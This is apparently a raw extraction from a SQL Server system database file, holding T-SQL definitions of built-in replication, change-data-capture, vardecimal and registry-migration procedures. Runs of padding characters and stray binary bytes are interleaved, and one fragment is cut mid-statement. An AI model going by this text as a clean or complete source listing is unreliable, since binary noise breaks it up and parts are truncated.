!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<]	
5h0@ 8create procedure sys.sp_replication_agent_checkup
@heartbeat_interval int = 10        -- minutes
as
    declare @distribution_db sysname
    declare @retstatus int
    declare @proc nvarchar(255)
    declare @retcode int

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    declare hCdistdbs CURSOR LOCAL FAST_FORWARD for
        select name from msdb..MSdistributiondbs where 
            has_dbaccess(name) = 1
    for read only
    open hCdistdbs
    fetch hCdistdbs into @distribution_db
    while @@fetch_status <> -1
    begin
    	select @proc = QUOTENAME(@distribution_db) + '.sys.sp_MSagent_retry_stethoscope'
        execute  @retcode = @proc 
        if @@error <> 0 or @retcode <> 0
        begin
            select @retstatus = 1
            goto UNDO
        end
        
        select @proc = QUOTENAME(@distribution_db) + '.sys.sp_MSagent_stethoscope'
        execute  @retcode = @proc @heartbeat_interval
        if @@error <> 0 or @retcode <> 0
        begin
            select @retstatus = 1
            goto UNDO
        end
        fetch hCdistdbs into @distribution_db
    end

    set @retstatus = 0

UNDO:
    close hCdistdbs
    deallocate hCdistdbs
    return (@retstatus)
0@m 8create function sys.fn_varbintohexsubstring (
	@fsetprefix bit = 1		-- append '0x' to the output
	,@pbinin varbinary(max) -- input binary stream
	,@startoffset int = 1	 -- starting offset 
	,@cbytesin int = 0		 -- length of input to consider, 0 means total length
)
returns nvarchar(max)
as
begin
	declare @pstrout nvarchar(max)
		,@i int
		,@firstnibble int
		,@secondnibble int
		,@tempint int
		,@hexstring char(16)
       
	--
	-- initialize and validate
	--
	if (@pbinin IS NOT NULL)
	begin	
		select @i = 0
				,@cbytesin = case when (@cbytesin > 0 and @cbytesin <= DATALENGTH(@pbinin) ) then @cbytesin else DATALENGTH(@pbinin) end
				,@pstrout =  case when (@fsetprefix = 1) then N'0x' else N'' end
				,@hexstring = '0123456789abcdef'

              --the output limit for nvarchar(max) is 2147483648 (2^31) bytes, that is 1073741824 (2^30) unicode characters
		if ( ((@cbytesin * 2) + 2 > 1073741824) or ((@cbytesin * 2) + 2 < 1) or ( @cbytesin is null ))
			return NULL

		if ( ( @startoffset > DATALENGTH(@pbinin) ) or ( @startoffset < 1 ) or ( @startoffset is null ))
			return NULL

		--
		-- adjust the length to process based on start offset and
		-- total length
		--
		if ((DATALENGTH(@pbinin) - @startoffset + 1) < @cbytesin)
			select @cbytesin = DATALENGTH(@pbinin) - @startoffset + 1
		
		--
		-- do for each byte
		--
		while (@i < @cbytesin)
		begin
			--
			-- Each byte has two nibbles
			-- which we convert to character
			--
			select @tempint = cast(substring(@pbinin, @i + @startoffset, 1) as int)
			select @firstnibble = @tempint / 16
			select @secondnibble = @tempint % 16

			--
			-- we need to do an explicit cast with substring 
			-- for proper string conversion. 
			--
			select @pstrout = @pstrout +
				cast(substring(@hexstring, (@firstnibble+1), 1) as nvarchar) +
				cast(substring(@hexstring, (@secondnibble+1), 1) as nvarchar)

			select @i = @i + 1
		end
	end
	
	-- All done
	return @pstrout
end
0,@ D8
h:0 8create procedure sys.sp_db_vardecimal_storage_format	
	@dbname sysname = NULL,			-- database name to change
	@vardecimal_storage_format  varchar(3) = NULL	-- vardecimal format to turn on/off
as
	set nocount    on

	-- If db name is not given, enumerate all databases and print out their vardecimal state
	if @dbname is null
	begin
		select name as 'Database Name', 
		(case 
			when name in ('master', 'tempdb', 'model', 'msdb') then 'OFF'
			else 'ON'
		end) as 'Vardecimal State'
		from master.dbo.sysdatabases

		return (0)
	end
	
	--  Verify the database name and get info
	declare @dbid int
	select @dbid = dbid
		from master.dbo.sysdatabases
		where name = @dbname

	--  If @dbname not found, say so and list the databases.
	if @dbid is null
	begin
		raiserror(15010,-1,-1,@dbname)
		print ' '
		select 'Available databases:' = name
			from master.dbo.sysdatabases
		return (1)
	end

	-- The value specified must be 'ON' or 'OFF'.
	if @vardecimal_storage_format is not null and lower(@vardecimal_storage_format) not in ('on', 'off')
	begin
		raiserror(15229,-1,-1)
		return (1)
	end

	-- Determine whether it's a system database.
	declare @is_system_db bit
	if @dbname in ('master', 'tempdb', 'model', 'msdb')
		set @is_system_db = 1
	else
		set @is_system_db = 0

	if @vardecimal_storage_format is null
	begin
		-- Return ON or OFF based on whether the db is a system database.
		select @dbname as 'Database Name', 
			(case 
				when @is_system_db = 1 then 'OFF'
				else 'ON'
			end) as 'Vardecimal State'
		
		return (0)
	end

	-- Not supported in system databases.
	if @is_system_db = 1
	begin
		raiserror(15657, -1, -1, @dbname)
		return (1)
	end

	return (0) -- sp_db_vardecimal_storage_format
0o 8
create view sys.spt_indexcolumns_view_managed
as
select distinct 
	db_Name() as constraint_catalog, 
	constraint_schema = SCHEMA_NAME(o.schema_id), 
	constraint_name = x.name, 
	table_catalog  = db_name(), 
	table_schema = SCHEMA_NAME(o.schema_id), 
	table_name = o.name, 
	column_name = c.name, 
	ordinal_position = xc.key_ordinal, 
	KeyType  = c.system_type_id, 
	index_name = x.name 
from 
	sys.objects o INNER JOIN sys.indexes x ON
		(
			o.object_id = x.object_id AND
			o.type in ('U')
		)  INNER JOIN 
	sys.index_columns xc ON
		(
			xc.object_id = x.object_id AND
			xc.index_id = x.index_id
		) INNER JOIN
	sys.columns c ON
		(
			o.object_id = c.object_id AND
			xc.column_id = c.column_id
		)		

0q D8yh	7 	0v D8exh(b#0 8create procedure sys.sp_MScdc_logddl 
(
	@source_object_id int
	,@ddl_command nvarchar(max)
	,@ddl_lsn binary(10)
	,@ddl_time nvarchar(1000)
	,@commit_lsn binary(10)
	,@source_column_id int = null
	,@fis_alter_column bit = 0 
	,@fis_drop_table bit = 0
)
AS
begin
	set nocount on

	declare @retcode int
		,@db_name sysname
	--
    -- security check - should be dbo or sysadmin
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@ERROR != 0 or @retcode != 0
        return 1

    --
    -- security check
    -- Has to be executed from cdc enabled db
    --
	if not exists (select * from sys.databases where database_id = db_id() and is_cdc_enabled = 1)
	begin
		set @db_name = db_name()
		RAISERROR(22901, 16, -1, @db_name)
		return (1)
	end
	
	-- Switch explicitly to execute as database 'cdc' user
	execute as user = 'cdc'
	
	-- Call internal stored procedure to actually do the work
	exec @retcode = sys.sp_cdc_logddl_internal
		@source_object_id
		,@ddl_command
		,@ddl_lsn
		,@ddl_time
		,@commit_lsn
		,@source_column_id
		,@fis_alter_column 
		,@fis_drop_table
		
	-- Revert to authorization of caller	
	revert
	
	return @retcode
end
0V@ 
8create procedure [sys].[sp_cdc_add_index_columns_entry]
(
	@object_id				int
)
as
begin
		insert into [cdc].[index_columns]
		select @object_id, column_name, index_ordinal, column_id
		from #index_columns

		return 0
end	
02 D8YhDE$#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z63#
`_	<c^	mMS0C@ 8CREATE VIEW sys.dm_xe_session_targets AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_SESSION_TARGETS) 
0 ~8
CREATE PROCEDURE sys.sp_MSadd_merge_anonymous_agent 
(
    @publisher_id       smallint,
    @publisher_db       sysname,
    @publication        sysname,
    @subscriber_db      sysname,
    @subscriber_name    sysname,
    @subid              uniqueidentifier, 
    @first_anonymous	int,		-- 0 means this is the first time for this anonymous agent being ran.
    @subscriber_version int = 60, -- 60=shiloh sp3 or lower, 90=yukon
	@publisher_engine_edition int = null
)
AS
begin
    declare @min_valid_day  datetime
    declare @merge_type     int
    declare @profile_id     int
    declare @subscriber_id  smallint
    declare @agent_name     sysname
    declare @agent_id       int
    declare @retcode        int
    declare @publication_id int
    declare @not_exist      bit
    declare @last_status	int
    declare @last_history	datetime
    declare @merge_jobid	uniqueidentifier
    declare @by_pass		bit
    declare @retention		int
    declare @retention_period_unit tinyint
    declare @success		int
    declare @expired		int
    declare @dropped		int
    declare @allow_anonymous bit
    declare @publisher		sysname
    declare @subscriber_name_current sysname

    --
    -- security check
    -- Has to be executed from distribution database
    -- PAL check is done after getting publication metadata
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_merge_anonymous_agent', 'distribution')
        return (1)
    end
    
    select @dropped = 0
    select @expired = 0
    select @success = 2
    select @by_pass = 0

    /*
    ** This stored procedure does not really add a job at distribution database;
    ** if add a row in dbo.MSmerge_agent table for anonymous subscription for the 
    ** purpose of history logging
    */

    -- Check to see if the publication is valid and allows anonymous subscribers
    select @publication_id = publication_id, @allow_anonymous = allow_anonymous, @retention = retention,
            @retention_period_unit = retention_period_unit
    from dbo.MSpublications where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication

    if @publication_id is null
    begin
        RAISERROR (21040, 16, -1, @publication)
        return 1
    end
    
    select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id

    if @allow_anonymous = 0
    begin
        RAISERROR (21084, 16, -1, @publication)
        return 1
    end

    if @subscriber_name is null
        select @subscriber_name = N''

    if @retention is NULL or @retention =0
        select @by_pass = 1

    --
    -- PAL Security check
    --
    exec @retcode = sys.sp_MScheck_pull_access
        @publication_id = @publication_id, @agent_type = 1
    if @retcode <> 0 or @@error <> 0
        return (1)

    select @not_exist = 0
    SELECT @merge_type = 4
    select @subscriber_id = 0  -- For anonymous subscribers, ID is always 0 

    SELECT @profile_id = profile_id
    FROM msdb..MSagent_profiles
    WHERE agent_type = @merge_type
        AND def_profile = 1

    IF @profile_id IS NULL
        RETURN (1)

	/*
	** This is to handle Jet only
	*/
    IF @subid = '00000000-0000-0000-0000-000000000000'
    begin
    	select @subid = anonymous_subid from dbo.MSmerge_agents 
    			where publisher_id=@publisher_id and 
    				  publisher_db = @publisher_db and 
    				  publication = @publication and 
    				  subscriber_name = @subscriber_name 
    				  and subscriber_db = @subscriber_db
    	if @subid = '00000000-0000-0000-0000-000000000000'
    		select @subid = newid()
    	else
    		select @first_anonymous = 1   -- for Jet, schemaversion should not be 0 in this path.
    end
         
    IF NOT EXISTS (select * from dbo.MSmerge_agents where anonymous_subid=@subid)
    begin

    	if @first_anonymous <= 0   --only add agent entry for initial subscription only. 
    	begin
        	select @not_exist = 1
        	
        	begin tran 
        	
        	exec @retcode = sys.sp_MScheck_subscription_count_internal @mode = 1, @publisher = @publisher, @publisher_engine_edition = @publisher_engine_edition,	
        					@about_to_insert_new_subscription=1
			if @@error <> 0 or @retcode <> 0
			begin
				if @@trancount > 0
					commit tran
				return 1
			end
				
        	-- Generate a job GUID for remote agents. This will be used by the UI to uniquely
        	-- identify rows returned by the enums
        	set @merge_jobid = newid();

        	insert into dbo.MSmerge_agents (name, publisher_id, publisher_db, publication, 
            		    subscriber_id, subscriber_db, anonymous_subid, job_id, profile_id, subscriber_name)
	            	VALUES (convert(nvarchar(40), @subid), @publisher_id, @publisher_db, @publication, 
    	            	    @subscriber_id, @subscriber_db, @subid, @merge_jobid, @profile_id, @subscriber_name)
    	            	 
    	    commit tran
    	end
    	else
    		select @dropped  =1
    end

    select @agent_id = id, @agent_name = name, @subscriber_name_current = subscriber_name from dbo.MSmerge_agents 
        where anonymous_subid=@subid  -- subid guarantees uniqueness

    if @subscriber_name <> @subscriber_name_current and  @subscriber_name is not null and @subscriber_name <> N''
    begin
		-- Due to a bug in the upgrade code in yukon RTM that has been fixed in SP2 the subscriber_name column of MSmerge_agents may not be correct for anonymous 
		-- subscribers if the database has been upgraded from shiloh to pre yukon SP2 build. Running the following query to do the fixup.
		update dbo.MSmerge_agents set subscriber_name = @subscriber_name
	        where anonymous_subid=@subid  -- subid guarantees uniqueness
	end


	if @by_pass = 0 and @subscriber_version < 90 --by pass the checking if retention is NULL or 0 or if yukon
	begin
    	select @min_valid_day = sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate())

    	-- only do history based expiration if there is a valid successful run information available.    	
        -- If we do not find the history for the last successful run we will not cleanup.
        -- however a seperate cleanup happens that uses the last_sync_time on the publisher. So
        -- even if we do not cleanup here sp_MSdrop_expired_mergesubscription will take care of it
    	select Top 1 @last_status = runstatus, @last_history = end_time from dbo.MSmerge_sessions where agent_id = @agent_id and runstatus=2
        			order by session_id DESC
       
    	/*
    	** This anonymous subscription is gone for too long to be efficiently reconciled. Either reinitialization or
    	** re-deployment of this subscription is needed. Merge agent will fail.
    	*/
    	if @last_history is not NULL
    	begin
        	if @last_history < @min_valid_day and @first_anonymous <> 0	--do not check for re-initialized replicas.
                select @expired = 1
        end
   end

    select @agent_id, @agent_name, @expired where @dropped = 0 --return empty result set 
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ZM`^	<H	_	'j0 h8XlBh	>	8^
	}	e0.@ 
8create procedure sys.sp_stopmergepushsubscription_agent
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
as
begin
    declare @retcode int
    declare @stop tinyint
    set @retcode = 0
    set @stop = 1

    exec @retcode = sys.sp_MSmergepushsubscriptionagentjobcontrol
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @action = @stop
    return @retcode
end
0t 8create procedure sys.sp_MSrepl_linkedservers_rowset
(
    @srvname sysname,
    @agent_id int,
    @agent_type int = 0        -- 0: distagent 1: merge
)
as
begin
    declare @retcode int
    
    -- Security check: sysadmin/dbo/PAL only
    exec @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id,
                                                @agent_type = @agent_type
    if @@error <> 0 or @retcode <> 0
        return 1

    SELECT    SVR_NAME            = srvname,
            SVR_PRODUCT            = srvproduct,
            SVR_PROVIDERNAME    = providername,
            SVR_DATASOURCE        = datasource,
            SVR_PROVIDERSTRING    = providerstring,
            SVR_LOCATION        = location,
            SVR_CATALOG            = catalog
    FROM    master.dbo.sysservers
    WHERE    UPPER(srvname) = UPPER(@srvname) collate database_default
      AND    ISNULL(providername,' ') <> ' '
      AND    ( ISNULL(datasource, ' ') <> ' '
                  or ISNULL(location, ' ') <> ' '
                  or ISNULL(providerstring, ' ') <> ' '
                  or ISNULL(catalog, ' ') <> ' '
              )
    ORDER BY 1

    if @@error <> 0
        return 1
    else
        return 0
end
0$@ l8create procedure sys.sp_MSdroptemptable (@tname sysname)
as
begin
    declare @quotedtname nvarchar(260)
    select @quotedtname = quotename(@tname)
    
    exec ('if OBJECT_ID(''tempdb..' + @quotedtname + ''') is not NULL drop table ' + @quotedtname)

    if @@ERROR <> 0 
        return(1)
    
    return (0)  
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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tsql, @params, @browse_information_mode)
0 8
create procedure sys.sp_tablecollations
(
    @object nvarchar(4000)
)
as
    select
        colid               = s_tcv.colid,
        name                = s_tcv.name,
        tds_collation       = s_tcv.tds_collation_28,
        "collation"         = s_tcv.collation_28
    from
        sys.spt_tablecollations_view s_tcv
    where
        s_tcv.object_id = object_id(@object, 'local')
    order by colid
0@ 8--
-- Name: sp_vupgrade_registry_custom_resolver_katmai
--
-- Descriptions:  this is called by sp_vupgrade_registry, to move custom resolver keys 
--                     to the MSmerge_articleresolver table on the distributor
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_vupgrade_registry_custom_resolver_katmai
(
    @oldregkey  nvarchar(1000)
)
as
    set nocount on
    declare @distributor                        sysname
    declare @distribution_db                sysname
    declare @resolver_name                    nvarchar(1000)
    declare @resolver_clsid                    nvarchar(1000)
    declare @insertproc                                     nvarchar(547)
    declare @retcode                        int
    declare @keyexist                         int

    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @distribdb = @distribution_db OUTPUT
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (20036, 16, -1)
        RETURN (1)
    END

    -- if the server is not a distributor we do not need to do anything
    if @distributor IS NULL
        return 0

    create table #keyexist (keyexist int)

    -- Move the registered article resolvers to MSmerge_articleresolver on distribution db
    insert into #keyexist EXECUTE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', @oldregkey
    select @keyexist = keyexist from #keyexist
    if @keyexist = 1
    begin
        create table #article_resolvers (resolver_name nvarchar(1000) collate database_default, resolver_clsid nvarchar(1000))
        insert into #article_resolvers EXECUTE master.dbo.xp_regenumvalues 'HKEY_LOCAL_MACHINE', @oldregkey
        declare #resolvercursor CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT resolver_name, resolver_clsid
                    FROM #article_resolvers
                FOR READ ONLY

        open #resolvercursor
        fetch next from #resolvercursor into @resolver_name, @resolver_clsid
        while (@@fetch_status <> -1)
        begin
            select @insertproc = QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_registercustomresolver'

            exec @retcode = @insertproc
                    @article_resolver = @resolver_name,
                    @resolver_clsid = @resolver_clsid

            if @retcode <> 0 OR @@ERROR <> 0
            begin
                set @retcode = 1
                goto FAILURE
            end
            fetch next from #resolvercursor into @resolver_name, @resolver_clsid
        end

        -- done moving reg keys/values.  delete old key 
        exec @retcode = master.dbo.xp_regdeletekey 'HKEY_LOCAL_MACHINE', @oldregkey
        if @@error <> 0 OR @retcode <> 0
        begin
            set @retcode = 1
        end

        close #resolvercursor
        deallocate #resolvercursor
        drop table #article_resolvers 

        return 0
       
    end

FAILURE:
    drop table #keyexist
    return @retcode
        
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!c`Z<Fa	G&]U0 8CREATE PROCEDURE sys.sp_MSfetchAdjustidentityrange 
(
    @publisher sysname,
    @publisher_db sysname,
    @tablename sysname,
    @adjust_only bit = 0,
    @for_publisher tinyint = 0, --0 for subscriber, 1 for publisher, 2 for republisher
    @range bigint = 0 output, -- This parameter is used as input for publisher but output for subscriber
    @next_seed bigint = 0 output,
    @threshold int = 0 output
)
as
begin
    set nocount on
    declare @retcode int
                ,@got_access bit
                ,@publisher_id int
                ,@publication_id int

    --
    -- Do we have entry for the table
    --
    if not exists (select * from dbo.MSrepl_identity_range
        where  tablename=@tablename and LOWER(publisher)=LOWER(@publisher) 
            and publisher_db=@publisher_db)
    begin
        RAISERROR (15021, 16, -1, '@publisher, @publisher_db or @tablename')
        return (1)
    end
    --
    -- security check
    --
    if (is_member ('db_owner') != 1) and (is_srvrolemember('sysadmin') != 1) 
    begin
        -- do PAL check for any publication that contains an article for this table
        SELECT @publisher_id = srvid 
        FROM master..sysservers
        WHERE UPPER(@publisher) = UPPER(srvname)  
        IF @publisher_id IS  NULL
        BEGIN
            RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
        END
        if not exists (select publication_id from dbo.MSarticles where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and 
            source_object = @tablename)
        begin
            raiserror (20026, 11, -1, 'any')
            return (1)
        end

        declare #publications_cursor CURSOR LOCAL FAST_FORWARD for
            select distinct publication_id from dbo.MSarticles 
            where publisher_id = @publisher_id 
                and publisher_db = @publisher_db
                and source_object = @tablename

        select @got_access = 0
        open #publications_cursor
        fetch #publications_cursor into @publication_id
        while (@@fetch_status <> -1)
        begin
            exec @retcode = sys.sp_MScheck_pull_access
                @agent_type = 0, -- tran agent
                @publication_id = @publication_id
            if (@retcode = 0 and @got_access = 0)
            begin
                select @got_access = 1
                break
            end
            fetch #publications_cursor into @publication_id
        end
        close #publications_cursor
        deallocate #publications_cursor
        -- do not have PAL access to any publication that contains this table
        if @got_access = 0
        begin
            RAISERROR (15247, 11, -1)
            return (1)
        end
    end
    --
    -- Continue processing
    --
    if @adjust_only=0
        select identity_support, next_seed, range, threshold from dbo.MSrepl_identity_range
        where  tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
    --
    -- Note: there might be multiple sessions calling this sp at the same time
    -- Open a transaction so that the update row will be locked so that no one else can
    -- process this row.
    --
    begin tran
    save TRAN sp_MSfetchAdjustidentityrange

    if @for_publisher=2 --republishing scenario
    begin
        update dbo.MSrepl_identity_range set max_identity=@next_seed + @range, next_seed=@next_seed
        where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
    end
    else
    begin    
        update dbo.MSrepl_identity_range set next_seed = case @for_publisher
            -- use subscriber's range 
            when 0 then next_seed + range
            -- use @range sent in by the publisher
            else next_seed + @range
            end
        where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db
    end

    -- for tran pub, max_identity could be null for Shiloh publisher
    if @@ERROR<>0 OR exists (select * from MSrepl_identity_range where max_identity is not null and ABS(next_seed)>ABS(max_identity))
    begin
        raiserror(21195, 16, -1)
        goto UNDO
    end

    select @next_seed = next_seed, @range = range, @threshold = threshold from dbo.MSrepl_identity_range
    where tablename=@tablename and LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db

    commit tran
    return 0

UNDO:
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN sp_MSfetchAdjustidentityrange
        COMMIT TRAN
    end
    return(1)
end
0 88$<!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!